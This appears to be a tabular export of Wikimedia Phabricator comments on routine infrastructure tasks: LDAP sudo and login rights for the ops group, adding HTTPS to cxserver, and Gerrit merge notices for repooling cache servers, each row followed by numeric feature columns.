```krenair@bastion-01:~$ ldapsearch -x ""(&(ou:dn:=sudoers)(cn:dn:=ops))""
# extended LDIF
#
# LDAPv3
# base <dc=wikimedia,dc=org> (default) with scope subtree
# filter: (&(ou:dn:=sudoers)(cn:dn:=ops))
# requesting: ALL
#

# ops, sudoers, wikimedia.org
dn: cn=ops,ou=sudoers,dc=wikimedia,dc=org
objectClass: sudorole
objectClass: top
sudoOption: !authenticate
sudoCommand: ALL
sudoUser: %ops
cn: ops
sudoHost: ALL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1```
So they have full sudo everywhere, but can't necessarily log in everywhere? We should probably document this at https://wikitech.wikimedia.org/wiki/LDAP_Groups#ops_grants_access_to:",,,1457899257,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,36,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,21.0,11.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,11.0,3.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.710526315789474,0.8157894736842105,"While poking around in LDAP I found this:
``CODE``
So they have full sudo everywhere, but can't necessarily log in everywhere? We should probably document this at URL"
545688,Allow everyone in ops group in LDAP to login to all Labs instances,Cf. also T85910 for a bigger revamp of `access.conf`.,,,1444750729,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,3.272727272727273,0.9090909090909091,Cf. also T85910 for a bigger revamp of CODE.
545462,Allow everyone in ops group in LDAP to login to all Labs instances,Looks like this would be a change to modules/ldap/templates/access.conf.erb in puppet?,,,1444700846,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.8888888888888888,Looks like this would be a change to modules/ldap/templates/access.conf.erb in puppet?
401630,Allow everyone in ops group in LDAP to login to all Labs instances,@andrew thoughts?,,,1421740977,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,1.0,SCREEN_NAME thoughts?
86847,Support https for cxserver in Production,"On Special:ContentTranslation page,


```
Mixed Content: The page at 'https://es.wikipedia.org/wiki/Especial:ContentTranslation' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://cxserver.wikimedia.org/languagepairs'. This request has been blocked; the content must be served over HTTPS.
```

ContentTranslation likely to not work without https here.",High,80.0,1421276121,1421339850.0,PHID-USER-abr5ge6gl2ovg7jokpst,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-3m6hckcik6glo6mydwoc,task_description,resolved,True,c3,1,False,False,True,-25,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.8181818181818182,"On Special:ContentTranslation page,


``CODE``

ContentTranslation likely to not work without https here."
400154,Support https for cxserver in Production,"Both patches 

https://gerrit.wikimedia.org/r/185181

and 

https://gerrit.wikimedia.org/r/#/c/185194/

have been merged and 

https://cxserver.wikimedia.org/languagepairs

is working fine in my tests. Resolving this, feel free to reopen",,,1421339850,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7333333333333334,0.7666666666666667,"Both patches 

GERRIT_URL

and 

URL

have been merged and 

URL

is working fine in my tests. Resolving this, feel free to reopen"
400120,Support https for cxserver in Production,"Change 185181 merged by Alexandros Kosiaris:
Add HTTPS support to parsoid varnishes

[[https://gerrit.wikimedia.org/r/185181]]",,,1421337030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.45,0.9,"Change 185181 merged by Alexandros Kosiaris:
Add HTTPS support to parsoid varnishes

[[GERRIT_URL]]"
400109,Support https for cxserver in Production,"Change 185181 had a related patch set uploaded (by Alexandros Kosiaris):
Add HTTPS support to parsoid varnishes

[[https://gerrit.wikimedia.org/r/185181]]

#patch-for-review",,,1421334083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9696969696969697,0.8484848484848485,"Change 185181 had a related patch set uploaded (by Alexandros Kosiaris):
Add HTTPS support to parsoid varnishes

[[GERRIT_URL]]

#patch-for-review"
400025,Support https for cxserver in Production,Example URL to reproduce: https://es.wikipedia.org/wiki/Especial:ContentTranslation (see JS console),,,1421319029,,PHID-USER-abr5ge6gl2ovg7jokpst,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Example URL to reproduce: URL (see JS console)
86663,Expand HTTP frontend clusters with new hardware,"We'll soon need:
- Extra resources, mainly CPU for all of our HTTP frontend (Varnish, nginx) clusters, due to an increased use of HTTPS & IPsec
- Clusters for codfw

As HTTPS scalability is one of the quarterly goals for FY Q3 2015 and there's a lead time for procurement and site installation (plus an extra delay for esams which needs an upgrade the most, due to not having a dedicated field tech), we'll need to do this procurement very soon.

The current blocker for this is testing of our new target platform (post- T86648 & T81543) as to have more accurate figures for proceeding with procurement. Current agreement on planning suggests:
- 2nd week of January + 2-3 first weeks of February for limited performance testing
- Late February/early March for proceeding with procurement in parallel to reinstallation of the current systems
- Rest of March: setup & install of the new servers",High,80.0,1421160095,1428708056.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_description,resolved,True,c3,1,True,False,True,-25,True,0.5,0.0,0.5,0.0,0.5,9.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,2.0,1.0,3.0,16.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,5.0,1.0,12.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,2.0,16.5,7.5,0.0,0.0,0.0,2.0,0.0,0.5,2.5,0.0,1.5,0.5,0.5,0.5,4.054347826086957,0.7119565217391304,"We'll soon need:
- Extra resources, mainly CPU for all of our HTTP frontend (Varnish, nginx) clusters, due to an increased use of HTTPS & IPsec
- Clusters for codfw

As HTTPS scalability is one of the quarterly goals for FY Q3 2015 and there's a lead time for procurement and site installation (plus an extra delay for esams which needs an upgrade the most, due to not having a dedicated field tech), we'll need to do this procurement very soon.

The current blocker for this is testing of our new target platform (post- T86648 & T81543) as to have more accurate figures for proceeding with procurement. Current agreement on planning suggests:
- 2nd week of January + 2-3 first weeks of February for limited performance testing
- Late February/early March for proceeding with procurement in parallel to reinstallation of the current systems
- Rest of March: setup & install of the new servers"
442268,Expand HTTP frontend clusters with new hardware,Done!,,,1428708057,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Done!
442267,Expand HTTP frontend clusters with new hardware,"Change 203332 merged by BBlack:
T86663 5.8: repool cp3010

[[https://gerrit.wikimedia.org/r/203332]]",,,1428707949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203332 merged by BBlack:
T86663 5.8: repool cp3010

[[GERRIT_URL]]"
442265,Expand HTTP frontend clusters with new hardware,"Change 203331 merged by BBlack:
T86663 5.8: switch cp3010 role

[[https://gerrit.wikimedia.org/r/203331]]",,,1428707688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203331 merged by BBlack:
T86663 5.8: switch cp3010 role

[[GERRIT_URL]]"
442262,Expand HTTP frontend clusters with new hardware,"Change 203330 merged by BBlack:
T86663 5.8: pool 3049; depool 3010

[[https://gerrit.wikimedia.org/r/203330]]",,,1428707401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.4761904761904763,0.8571428571428571,"Change 203330 merged by BBlack:
T86663 5.8: pool 3049; depool 3010

[[GERRIT_URL]]"
442255,Expand HTTP frontend clusters with new hardware,"Change 203329 merged by BBlack:
T86663 5.7: repool cp3009

[[https://gerrit.wikimedia.org/r/203329]]",,,1428705630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203329 merged by BBlack:
T86663 5.7: repool cp3009

[[GERRIT_URL]]"
442247,Expand HTTP frontend clusters with new hardware,"Change 203328 merged by BBlack:
T86663 5.7: switch cp3009 role

[[https://gerrit.wikimedia.org/r/203328]]",,,1428705082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203328 merged by BBlack:
T86663 5.7: switch cp3009 role

[[GERRIT_URL]]"
442242,Expand HTTP frontend clusters with new hardware,"Change 203327 merged by BBlack:
T86663 5.7: pool 3048; depool 3009

[[https://gerrit.wikimedia.org/r/203327]]",,,1428704690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.4761904761904763,0.8571428571428571,"Change 203327 merged by BBlack:
T86663 5.7: pool 3048; depool 3009

[[GERRIT_URL]]"
442224,Expand HTTP frontend clusters with new hardware,"Change 203326 merged by BBlack:
T86663 5.4: repool cp3006

[[https://gerrit.wikimedia.org/r/203326]]",,,1428702956,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203326 merged by BBlack:
T86663 5.4: repool cp3006

[[GERRIT_URL]]"
442222,Expand HTTP frontend clusters with new hardware,"Change 203325 merged by BBlack:
T86663 5.4: switch cp3006 role

[[https://gerrit.wikimedia.org/r/203325]]",,,1428702665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203325 merged by BBlack:
T86663 5.4: switch cp3006 role

[[GERRIT_URL]]"
442218,Expand HTTP frontend clusters with new hardware,"Change 203324 merged by BBlack:
T86663 5.4: pool 3039; depool 3006

[[https://gerrit.wikimedia.org/r/203324]]",,,1428702276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.4761904761904763,0.8571428571428571,"Change 203324 merged by BBlack:
T86663 5.4: pool 3039; depool 3006

[[GERRIT_URL]]"
442197,Expand HTTP frontend clusters with new hardware,"Change 203385 merged by BBlack:
T86663: depool amssq56-58

[[https://gerrit.wikimedia.org/r/203385]]",,,1428700192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.526315789473684,0.8421052631578947,"Change 203385 merged by BBlack:
T86663: depool amssq56-58

[[GERRIT_URL]]"
442085,Expand HTTP frontend clusters with new hardware,"Change 203385 had a related patch set uploaded (by BBlack):
T86663: depool amssq56-58

[[https://gerrit.wikimedia.org/r/203385]]
",,,1428692026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 203385 had a related patch set uploaded (by BBlack):
T86663: depool amssq56-58

[[GERRIT_URL]]
"
441839,Expand HTTP frontend clusters with new hardware,"Change 203332 had a related patch set uploaded (by BBlack):
T86663 5.8: repool cp3010

[[https://gerrit.wikimedia.org/r/203332]]
",,,1428674115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203332 had a related patch set uploaded (by BBlack):
T86663 5.8: repool cp3010

[[GERRIT_URL]]
"
441838,Expand HTTP frontend clusters with new hardware,"Change 203331 had a related patch set uploaded (by BBlack):
T86663 5.8: switch cp3010 role

[[https://gerrit.wikimedia.org/r/203331]]
